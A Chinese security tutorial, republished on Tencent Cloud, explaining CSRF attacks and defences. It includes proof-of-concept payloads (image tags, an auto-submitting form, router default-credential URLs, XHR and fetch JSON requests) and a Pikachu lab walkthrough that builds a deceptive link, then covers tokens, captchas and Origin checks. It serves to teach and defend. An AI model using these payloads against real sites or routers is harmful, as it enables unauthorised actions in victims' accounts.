首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >大多数人都不了解的漏洞....一文弄懂CSRF

大多数人都不了解的漏洞....一文弄懂CSRF

作者头像
网络安全自修室
发布2022-05-16 15:20:20
8700
发布2022-05-16 15:20:20
举报

1

免责声明

本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。

2

内容速览

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者SessionRiding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

简单的说是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))

因为浏览器之前认证过,所以被访问的站点会绝点是这是真正的用户操作而去运行。

这就利用了web中用户身份认证验证的一个漏洞:简单的身份验证仅仅能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

其实可以这么理解CSRF攻击:攻击者盗用了受害者的身份,以受害者的名义发送恶意请求

CSRF能够做的事情包含:以你的名义发送邮件;发消息;盗取你的账号;甚至于购买商品、虚拟货币转账......造成的问题包含个人隐私泄露以及财产安全。

CSRF 与XSS 区别

尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

  • XSS:XSS漏洞=》构造payload=》发送给受害人=》受害人点击打开=》攻击者获取受害人的cookie=》攻击者使用受害人cookie完成攻击
  • CSRF:CSRF漏洞=》构造payload=》发送给受害人=》受害人点击打开=》受害人执行代码=》受害人完成攻击(不知情)

一、CSRF原理

CSRF攻击过程

从上图能够看出,要完毕一次CSRF攻击,受害者必须依次完毕两个步骤:

  1. 登录受信任站点A,并在本地生成Cookie
  2. 在不登出A的情况下,访问危险站点B

二、常见的攻击检测及场景

在执行关键处理前,需要确认该请求是否确实由用户自愿发起。如果忽略了这个确认步骤,就可能出现严重问题,比如用户只是浏览了恶意网站,浏览器就擅自执行关键处理等。

引发上述问题的安全隐患被称为跨站请求伪造(CSRF)漏洞,而针对CSRF漏洞进行的攻击就是CSRF攻击。

检测是否存在CSRF漏洞最简单的方法:

抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞

网站可能存在CSRF漏洞的位置:

  • 订阅处
  • 评论处
  • 管理员添加处
  • 密码修改处
  • 资料修改处
  • 删除用户或者信息处
  • ......

网站存在CSRF漏洞时会遭受的攻击:

  • 使用用户的账号购物
  • 删除用户账号
  • 使用用户的账号发布帖子
  • 更改用户的密码或邮箱地址
  • ......

CSRF漏洞造成的影响仅限于应用的关键处理被恶意使用,而像用户的个人信息等就无法通过CSRF攻击窃取

因此,为了预防CSRF漏洞,就需要在执行关键处理前确认请求确实是由用户自愿发起的

三、常见的攻击类型

(1)GET类型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求 这种类型的CSRF一般是由于程序员安全意识不强造成的 一般会这样利用:

<img src=http://wooyun.org/csrf?xx=11 /> 

在访问含有这个img的页面后,成功向http://wooyun.org/csrf?xx=11 发出了一次HTTP请求

所以,如果将该网址替换为存在GET型CSRF的地址,就能完成攻击了

(2)POST类型的CSRF

这种类型的CSRF危害没有GET型的大,利用起来通常使用的是一个自动提交的表单,如:

<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

(3)基础认证的CSRF(用于路由器)

POC:

<img src=http://admin:admin@192.168.1.1 /> 

加载该图片后,路由器会给用户一个合法的SESSION,就可以进行下一步操作了

(4)未进行token校验

没有csrf-token的校验是最经典的CSRF漏洞高发处

但是这种漏洞只有在一些高风险的位置才有价值,比如csdn上关注/取关,发表博文等等一些操作

而在淘宝中如查看某一商品、执行某一模糊查询,这样的都属于无价值的被默认许可的csrf

(5)FLASH CSRF

参考低调的Flash CSRF攻击[1]

(6)Json劫持

参考谈谈Json格式下的CSRF攻击[2]

如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json

我们可以使用XHR来实现csrf, poc如下:

<html>
 <head>
 <script style="text/javascript">
      function submitRequest()
      {<!-- -->
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({<!-- -->"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{<!-- -->"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
    }
   </script>
 </head>
  <body>
    
    <form action="#">
      <input type="button" value="Submit request" onClick="submitRequest()"/>
    </form>
  </body>
  
</html>

使用XMLHttpRequest、fetch能构造出JSON请求,并W且能设置Content-Type,但是无法跨域

fetch发起的请求代码:

<html>
<title>JSON CSRF POC</title>
<script>
    fetch('http://victim.com/vul.page', {<!-- -->method: 'POST', credentials: 'include', headers: {<!-- -->'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
 
</form>
</html>

三、靶场实操

这里以Pikachu的CSRF靶场环境测试为例

打开pikachu,登录一个用户的账号,比如用用户名为vince密码是123456的账户

登录上去之后理论上前端就已经收到了后端传过来的cookie 那么我们只差伪造一个url就能开始骗用户点击之后修改他的信息了 打开开发者工具查看网络种的记录可以发现传来了cookie

我们伪造一个“诱人”的url骗他们点击之后就可以实现发送cookie冒用身份了

首先我们要确定修改用户页面传的get参数。

转到用户修改数据页面之后就可以根据源码看get传的参数了

如上图我们可以发现传的参数是如上几个,我们构造一下url,把vince用户的个人信息改成好玩的参数

原本从修改页面传回的url如下

127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=lal&phonenum=123456&add=lilian&email=dumb&submit=submit

经过修改成了这样子

&lt;a href="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=你必狂吃不胖&phonenum=你必越长越好看&add=你必天天捡钱&email=你必好运连连&submit=submit"&lt;美女荷官,在线发牌,百万影片你想要的这里都有</a&gt;

那么在一个能解析html标签的环境下你就会发现它变成了如下的标签

要是被你骗的人真的点击之后会是这样子

现在你成功完成了一次CSRF漏洞攻击

四、如何防御CSRF

了解了 CSRF 攻击的一些手段之后,我们再来看看 CSRF 攻击的一些“特征”,然后根据这些特征分析下如何防止 CSRF 攻击。下面是我总结的发起 CSRF 攻击的三个必要条件:

  1. 目标站点一定要有 CSRF 漏洞;
  2. 用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
  3. 需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。

满足以上三个条件之后,黑客就可以对用户进行 CSRF 攻击了

需要注意的是:与 XSS 攻击不同,CSRF 攻击不会往页面注入恶意脚本,因此黑客是无法通过 CSRF 攻击来获取用户页面数据的;

其最关键的一点是要能找到服务器的漏洞,所以说对于 CSRF 攻击我们主要的防护手段是提升服务器的安全性。

要让服务器避免遭受到 CSRF 攻击,通常有以下几种途径。

1、提交验证码

在表单中添加一个随机的数字或字母验证码。通过强制用户和应用进行交互。来有效地遏制CSRF攻击。

2、验证请求的来源站点

接着我们再来了解另外一种防止 CSRF 攻击的策略,那就是在服务器端验证请求来源的站点。

由于 CSRF 攻击大多来自于第三方站点,因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢?

这就需要介绍 HTTP 请求头中的 Referer 和 Origin 属性了。

Referer 是 HTTP 请求头中的一个字段,记录了该 HTTP 请求的来源地址。

比如我从极客时间的官网打开了 InfoQ 的站点,那么请求头中的 Referer 值是极客时间的 URL,如下图:

虽然可以通过 Referer 告诉服务器 HTTP 请求的来源,但是有一些场景是不适合将来源 URL 暴露给服务器的,因此浏览器提供给开发者一个选项,可以不用上传 Referer 值,具体可参考Referrer Policy

但在服务器端验证请求头中的 Referer 并不是太可靠,因此标准委员会又制定了Origin 属性

在一些重要的场合,比如通过 XMLHttpRequest、Fecth 发起跨站请求或者通过 Post 方法发送请求时,都会带上 Origin 属性,如下图:

从上图可以看出,Origin 属性只包含了域名信息,并没有包含具体的 URL 路径,这是 Origin 和 Referer 的一个主要区别。

在这里需要补充一点,Origin 的值之所以不包含详细路径信息,是有些站点因为安全考虑,不想把源站点的详细路径暴露给服务器。

因此,服务器的策略是优先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值。

3、token验证

除了使用以上两种方式来防止 CSRF 攻击之外,还可以采用 CSRF Token 来验证,这个流程比较好理解,大致分为两步。

第一步,在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。

CSRF Token 其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中。你可以参考下面示例代码:

第二步,在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。

如果是从第三方站点发出的请求,那么将无法获取到 CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求。

  • 在 HTTP 请求中以參数的形式添加一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,假设请求中没有 token 或者 token 内容不对,则觉得可能是 CSRF 攻击而拒绝该请求。
  • token必须足够随机
  • 敏感的操作应该使用POST,而不是GET,比如表单提交。

4、在HTTP头中定义属性并验证

这样的方法也是使用 token 并进行验证。

这里并非把 token 以參数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自己定义的属性里。

通过 XMLHttpRequest 这个类,能够一次性给全部该类请求加上 csrftoken 这个 HTTP 头属性。

并把 token 值放入当中。这样攻克了上种方法在请求中添加 token 的不便。

同一时候,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏

也不用操心 token 会透过 Referer 泄露到其它站点中去。

参考资料

[1]

低调的Flash CSRF攻击: https://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/

[2]

谈谈Json格式下的CSRF攻击: https://www.freebuf.com/articles/web/206407.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-05-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CSRF 与XSS 区别
  • 一、CSRF原理
  • 二、常见的攻击检测及场景
    • 网站可能存在CSRF漏洞的位置:
      • 网站存在CSRF漏洞时会遭受的攻击:
      • 三、常见的攻击类型
        • (1)GET类型的CSRF
          • (2)POST类型的CSRF
            • (3)基础认证的CSRF(用于路由器)
              • (4)未进行token校验
                • (5)FLASH CSRF
                  • (6)Json劫持
                  • 三、靶场实操
                  • 四、如何防御CSRF
                    • 1、提交验证码
                      • 2、验证请求的来源站点
                        • 3、token验证
                          • 4、在HTTP头中定义属性并验证
                            • 参考资料
                            相关产品与服务
                            验证码
                            腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档